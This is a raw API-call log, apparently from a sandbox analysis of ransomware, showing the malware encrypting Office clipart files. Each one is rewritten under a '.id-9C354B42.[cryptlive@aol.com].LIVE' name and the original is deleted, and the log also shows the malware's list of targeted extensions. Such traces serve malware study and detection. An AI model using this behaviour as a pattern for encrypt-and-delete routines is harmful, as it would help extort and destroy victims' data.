lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0145.452] lstrlenW (lpString=".xlsx") returned 5 [0145.452] lstrcmpiW (lpString1=".xlsx", lpString2="P.WMF") returned -1 [0145.452] lstrlenW (lpString=".ppt") returned 4 [0145.452] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0145.452] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FLAP.WMF") returned 59 [0145.452] lstrlenW (lpString=".zip") returned 4 [0145.452] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0145.452] lstrlenW (lpString=".rar") returned 4 [0145.453] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0145.453] lstrlenW (lpString=".bz2") returned 4 [0145.453] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0145.453] lstrlenW (lpString=".7z") returned 3 [0145.453] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0145.453] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FLAP.WMF") returned 59 [0145.453] lstrlenW (lpString=".dbf") returned 4 [0145.453] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0145.453] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FLAP.WMF") returned 59 [0145.453] lstrlenW (lpString=".1cd") returned 4 [0145.453] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0145.453] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FLAP.WMF") returned 59 [0145.453] lstrlenW (lpString=".jpg") returned 4 [0145.453] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0145.453] lstrcmpiW (lpString1=".WMF", lpString2=".LIVE") returned 1 [0145.453] lstrlenW (lpString="HH00260_.WMF") returned 12 [0145.453] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00260_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00260_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0145.545] GetFileSizeEx (in: hFile=0x39c, lpFileSize=0x33cff1c | out: lpFileSize=0x33cff1c*=3662) returned 1 [0145.545] CloseHandle (hObject=0x39c) returned 1 [0145.545] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00260_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00260_.wmf")) returned 0x20 [0145.545] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00260_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00260_.wmf.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0145.545] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00260_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00260_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0145.545] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec8 | out: lpNewFilePointer=0x0) returned 1 [0145.545] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec8 | out: lpNewFilePointer=0x0) returned 1 [0145.545] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00260_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00260_.wmf.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3dc [0145.546] GetLastError () returned 0x0 [0145.546] ReadFile (in: hFile=0x39c, lpBuffer=0x3fe0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfed4, lpOverlapped=0x0 | out: lpBuffer=0x3fe0020*, lpNumberOfBytesRead=0x33cfed4*=0xe4e, lpOverlapped=0x0) returned 1 [0145.547] WriteFile (in: hFile=0x3dc, lpBuffer=0x3fe0020*, nNumberOfBytesToWrite=0xe50, lpNumberOfBytesWritten=0x33cfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fe0020*, lpNumberOfBytesWritten=0x33cfc9c*=0xe50, lpOverlapped=0x0) returned 1 [0145.548] ReadFile (in: hFile=0x39c, lpBuffer=0x3fe0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfed4, lpOverlapped=0x0 | out: lpBuffer=0x3fe0020*, lpNumberOfBytesRead=0x33cfed4*=0x0, lpOverlapped=0x0) returned 1 [0145.548] WriteFile (in: hFile=0x3dc, lpBuffer=0x3fe0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x33cfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fe0020*, lpNumberOfBytesWritten=0x33cfc9c*=0xec, lpOverlapped=0x0) returned 1 [0145.548] SetEndOfFile (hFile=0x3dc) returned 1 [0145.548] CloseHandle (hObject=0x3dc) returned 1 [0145.549] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec8 | out: lpNewFilePointer=0x0) returned 1 [0145.549] SetEndOfFile (hFile=0x39c) returned 1 [0145.551] CloseHandle (hObject=0x39c) returned 1 [0145.551] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00260_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0145.551] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00260_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00260_.wmf")) returned 1 [0145.551] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00260_.WMF") returned 63 [0145.551] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00260_.WMF") returned 63 [0145.551] lstrlenW (lpString=".doc") returned 4 [0145.552] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0145.552] lstrlenW (lpString=".docx") returned 5 [0145.552] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0145.552] lstrlenW (lpString=".pdf") returned 4 [0145.552] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0145.552] lstrlenW (lpString=".xls") returned 4 [0145.552] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0145.552] lstrlenW (lpString=".xlsx") returned 5 [0145.552] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0145.552] lstrlenW (lpString=".ppt") returned 4 [0145.552] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0145.552] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00260_.WMF") returned 63 [0145.552] lstrlenW (lpString=".zip") returned 4 [0145.552] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0145.552] lstrlenW (lpString=".rar") returned 4 [0145.552] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0145.552] lstrlenW (lpString=".bz2") returned 4 [0145.552] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0145.552] lstrlenW (lpString=".7z") returned 3 [0145.552] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0145.552] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00260_.WMF") returned 63 [0145.552] lstrlenW (lpString=".dbf") returned 4 [0145.552] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0145.552] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00260_.WMF") returned 63 [0145.552] lstrlenW (lpString=".1cd") returned 4 [0145.552] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0145.552] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00260_.WMF") returned 63 [0145.552] lstrlenW (lpString=".jpg") returned 4 [0145.552] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0145.552] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00260_.WMF") returned 63 [0145.552] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00260_.WMF") returned 63 [0145.552] lstrlenW (lpString=".doc") returned 4 [0145.552] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0145.552] lstrlenW (lpString=".docx") returned 5 [0145.552] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0145.553] lstrlenW (lpString=".pdf") returned 4 [0145.553] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0145.553] lstrlenW (lpString=".xls") returned 4 [0145.553] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0145.553] lstrlenW (lpString=".xlsx") returned 5 [0145.553] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0145.553] lstrlenW (lpString=".ppt") returned 4 [0145.553] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0145.553] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00260_.WMF") returned 63 [0145.553] lstrlenW (lpString=".zip") returned 4 [0145.553] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0145.553] lstrlenW (lpString=".rar") returned 4 [0145.553] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0145.553] lstrlenW (lpString=".bz2") returned 4 [0145.553] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0145.553] lstrlenW (lpString=".7z") returned 3 [0145.553] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0145.553] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00260_.WMF") returned 63 [0145.553] lstrlenW (lpString=".dbf") returned 4 [0145.553] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0145.553] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00260_.WMF") returned 63 [0145.553] lstrlenW (lpString=".1cd") returned 4 [0145.553] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0145.553] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00260_.WMF") returned 63 [0145.553] lstrlenW (lpString=".jpg") returned 4 [0145.553] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0145.553] lstrcmpiW (lpString1=".WMF", lpString2=".LIVE") returned 1 [0145.553] lstrlenW (lpString="HH00513_.WMF") returned 12 [0145.553] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00513_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00513_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0145.554] GetFileSizeEx (in: hFile=0x39c, lpFileSize=0x33cff1c | out: lpFileSize=0x33cff1c*=818) returned 1 [0145.554] CloseHandle (hObject=0x39c) returned 1 [0145.554] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00513_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00513_.wmf")) returned 0x20 [0145.554] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00513_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00513_.wmf.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0145.554] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00513_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00513_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0145.554] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec8 | out: lpNewFilePointer=0x0) returned 1 [0145.554] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec8 | out: lpNewFilePointer=0x0) returned 1 [0145.555] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00513_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00513_.wmf.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3dc [0145.555] GetLastError () returned 0x0 [0145.555] ReadFile (in: hFile=0x39c, lpBuffer=0x3fe0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfed4, lpOverlapped=0x0 | out: lpBuffer=0x3fe0020*, lpNumberOfBytesRead=0x33cfed4*=0x332, lpOverlapped=0x0) returned 1 [0145.556] WriteFile (in: hFile=0x3dc, lpBuffer=0x3fe0020*, nNumberOfBytesToWrite=0x340, lpNumberOfBytesWritten=0x33cfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fe0020*, lpNumberOfBytesWritten=0x33cfc9c*=0x340, lpOverlapped=0x0) returned 1 [0145.557] ReadFile (in: hFile=0x39c, lpBuffer=0x3fe0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfed4, lpOverlapped=0x0 | out: lpBuffer=0x3fe0020*, lpNumberOfBytesRead=0x33cfed4*=0x0, lpOverlapped=0x0) returned 1 [0145.557] WriteFile (in: hFile=0x3dc, lpBuffer=0x3fe0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x33cfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fe0020*, lpNumberOfBytesWritten=0x33cfc9c*=0xec, lpOverlapped=0x0) returned 1 [0145.558] SetEndOfFile (hFile=0x3dc) returned 1 [0145.558] CloseHandle (hObject=0x3dc) returned 1 [0145.558] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec8 | out: lpNewFilePointer=0x0) returned 1 [0145.558] SetEndOfFile (hFile=0x39c) returned 1 [0145.560] CloseHandle (hObject=0x39c) returned 1 [0145.560] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00513_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0145.560] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00513_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00513_.wmf")) returned 1 [0145.562] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00513_.WMF") returned 63 [0145.562] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00513_.WMF") returned 63 [0145.562] lstrlenW (lpString=".doc") returned 4 [0145.562] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0145.562] lstrlenW (lpString=".docx") returned 5 [0145.562] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0145.562] lstrlenW (lpString=".pdf") returned 4 [0145.562] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0145.562] lstrlenW (lpString=".xls") returned 4 [0145.562] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0145.562] lstrlenW (lpString=".xlsx") returned 5 [0145.562] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0145.562] lstrlenW (lpString=".ppt") returned 4 [0145.562] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0145.562] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00513_.WMF") returned 63 [0145.562] lstrlenW (lpString=".zip") returned 4 [0145.562] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0145.562] lstrlenW (lpString=".rar") returned 4 [0145.562] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0145.562] lstrlenW (lpString=".bz2") returned 4 [0145.562] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0145.562] lstrlenW (lpString=".7z") returned 3 [0145.562] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0145.562] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00513_.WMF") returned 63 [0145.562] lstrlenW (lpString=".dbf") returned 4 [0145.562] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0145.562] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00513_.WMF") returned 63 [0145.562] lstrlenW (lpString=".1cd") returned 4 [0145.562] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0145.562] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00513_.WMF") returned 63 [0145.562] lstrlenW (lpString=".jpg") returned 4 [0145.563] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0145.563] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00513_.WMF") returned 63 [0145.563] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00513_.WMF") returned 63 [0145.563] lstrlenW (lpString=".doc") returned 4 [0145.563] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0145.563] lstrlenW (lpString=".docx") returned 5 [0145.563] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0145.563] lstrlenW (lpString=".pdf") returned 4 [0145.563] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0145.563] lstrlenW (lpString=".xls") returned 4 [0145.563] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0145.563] lstrlenW (lpString=".xlsx") returned 5 [0145.563] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0145.563] lstrlenW (lpString=".ppt") returned 4 [0145.563] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0145.563] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00513_.WMF") returned 63 [0145.563] lstrlenW (lpString=".zip") returned 4 [0145.563] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0145.563] lstrlenW (lpString=".rar") returned 4 [0145.563] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0145.563] lstrlenW (lpString=".bz2") returned 4 [0145.563] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0145.563] lstrlenW (lpString=".7z") returned 3 [0145.563] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0145.563] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00513_.WMF") returned 63 [0145.563] lstrlenW (lpString=".dbf") returned 4 [0145.563] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0145.563] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00513_.WMF") returned 63 [0145.563] lstrlenW (lpString=".1cd") returned 4 [0145.563] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0145.563] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00513_.WMF") returned 63 [0145.563] lstrlenW (lpString=".jpg") returned 4 [0145.563] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0145.564] lstrcmpiW (lpString1=".WMF", lpString2=".LIVE") returned 1 [0145.564] lstrlenW (lpString="HH00524_.WMF") returned 12 [0145.564] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00524_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00524_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0145.564] GetFileSizeEx (in: hFile=0x39c, lpFileSize=0x33cff1c | out: lpFileSize=0x33cff1c*=14688) returned 1 [0145.564] CloseHandle (hObject=0x39c) returned 1 [0145.566] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00524_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00524_.wmf")) returned 0x20 [0145.567] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00524_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00524_.wmf.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0145.567] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00524_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00524_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0145.567] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec8 | out: lpNewFilePointer=0x0) returned 1 [0145.567] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec8 | out: lpNewFilePointer=0x0) returned 1 [0145.567] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00524_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00524_.wmf.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3dc [0145.567] GetLastError () returned 0x0 [0145.568] ReadFile (in: hFile=0x39c, lpBuffer=0x3fe0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfed4, lpOverlapped=0x0 | out: lpBuffer=0x3fe0020*, lpNumberOfBytesRead=0x33cfed4*=0x3960, lpOverlapped=0x0) returned 1 [0145.569] WriteFile (in: hFile=0x3dc, lpBuffer=0x3fe0020*, nNumberOfBytesToWrite=0x3970, lpNumberOfBytesWritten=0x33cfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fe0020*, lpNumberOfBytesWritten=0x33cfc9c*=0x3970, lpOverlapped=0x0) returned 1 [0145.570] ReadFile (in: hFile=0x39c, lpBuffer=0x3fe0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfed4, lpOverlapped=0x0 | out: lpBuffer=0x3fe0020*, lpNumberOfBytesRead=0x33cfed4*=0x0, lpOverlapped=0x0) returned 1 [0145.570] WriteFile (in: hFile=0x3dc, lpBuffer=0x3fe0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x33cfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fe0020*, lpNumberOfBytesWritten=0x33cfc9c*=0xec, lpOverlapped=0x0) returned 1 [0145.570] SetEndOfFile (hFile=0x3dc) returned 1 [0145.570] CloseHandle (hObject=0x3dc) returned 1 [0145.571] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec8 | out: lpNewFilePointer=0x0) returned 1 [0145.571] SetEndOfFile (hFile=0x39c) returned 1 [0145.573] CloseHandle (hObject=0x39c) returned 1 [0145.573] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00524_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0145.573] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00524_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00524_.wmf")) returned 1 [0145.574] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00524_.WMF") returned 63 [0145.574] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00524_.WMF") returned 63 [0145.574] lstrlenW (lpString=".doc") returned 4 [0145.574] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0145.574] lstrlenW (lpString=".docx") returned 5 [0145.574] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0145.574] lstrlenW (lpString=".pdf") returned 4 [0145.574] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0145.574] lstrlenW (lpString=".xls") returned 4 [0145.574] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0145.574] lstrlenW (lpString=".xlsx") returned 5 [0145.574] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0145.574] lstrlenW (lpString=".ppt") returned 4 [0145.574] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0145.574] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00524_.WMF") returned 63 [0145.574] lstrlenW (lpString=".zip") returned 4 [0145.574] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0145.574] lstrlenW (lpString=".rar") returned 4 [0145.574] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0145.574] lstrlenW (lpString=".bz2") returned 4 [0145.574] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0145.574] lstrlenW (lpString=".7z") returned 3 [0145.574] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0145.574] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00524_.WMF") returned 63 [0145.574] lstrlenW (lpString=".dbf") returned 4 [0145.574] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0145.575] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00524_.WMF") returned 63 [0145.575] lstrlenW (lpString=".1cd") returned 4 [0145.575] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0145.575] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00524_.WMF") returned 63 [0145.575] lstrlenW (lpString=".jpg") returned 4 [0145.575] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0145.575] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00524_.WMF") returned 63 [0145.575] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00524_.WMF") returned 63 [0145.575] lstrlenW (lpString=".doc") returned 4 [0145.575] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0145.575] lstrlenW (lpString=".docx") returned 5 [0145.575] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0145.575] lstrlenW (lpString=".pdf") returned 4 [0145.575] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0145.575] lstrlenW (lpString=".xls") returned 4 [0145.575] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0145.575] lstrlenW (lpString=".xlsx") returned 5 [0145.575] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0145.575] lstrlenW (lpString=".ppt") returned 4 [0145.575] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0145.575] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00524_.WMF") returned 63 [0145.575] lstrlenW (lpString=".zip") returned 4 [0145.575] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0145.575] lstrlenW (lpString=".rar") returned 4 [0145.575] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0145.575] lstrlenW (lpString=".bz2") returned 4 [0145.575] 